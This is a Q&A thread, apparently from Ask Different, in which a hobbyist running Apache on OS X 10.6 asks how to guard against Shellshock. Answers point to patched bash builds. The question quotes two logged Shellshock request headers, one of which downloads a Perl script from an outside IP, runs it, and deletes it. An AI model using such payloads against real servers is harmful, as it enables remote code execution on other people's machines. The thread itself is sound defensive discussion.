up vote 3 down vote favorite

I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries: 

82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\""
173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.

Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not recompiling bash) to reduce my risks?

share|improve this question
  • Correct me if I'm wrong, but only bash is vulnerable right? I've heard that installing a different shell like dash, csh, or whatever else helps to mitigate it. Although, this may still require compiling. – jonescb Oct 20 '14 at 16:11
up vote 3 down vote accepted

If you don't want to recompile Bash yourself, the folks at TenFourFox (who make a PPC version of Firefox) have compiled a binary that works on OS X 10.4 - 10.9 on both PPC and Intel Macs, and have terminal instructions for installing:

http://tenfourfox.blogspot.com/2014/09/bashing-bash-one-more-time-updated.html

At the time of writing (Sept 30) they've compiled Bash 4.3.27, but this still misses a couple of vulnerabilities that the Apple official patch has also missed. So it's better than nothing, but you'll want to keep watching for future updates.

share|improve this answer
  • Perfect! Very appreciated; clear instructions and they worked exactly as advertised. – Wildcard Oct 11 '15 at 9:23
up vote 0 down vote

You could possibly try recompiling bash yourself using this link. It patches the vulnerable bash version, but the new version is not signed by apple and could possibly break things.

share|improve this answer
up vote 0 down vote

Check the "System Binaries" section of this answer. It works for 10.6.8, assuming you have Xcode installed.

https://apple.stackexchange.com/a/146851/96606

share|improve this answer

We're looking for long answers that provide some explanation and context. Don't just give a one-line answer; explain why your answer is right, ideally with citations. Answers that don't include explanations may be removed.

  • Answers on Ask Different need to be more than just a link. It's okay to include a link, but please summarize or excerpt it in the answer. The idea is to make the answer stand alone. – Daniel♦ Oct 20 '14 at 15:51

Your Answer

 

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.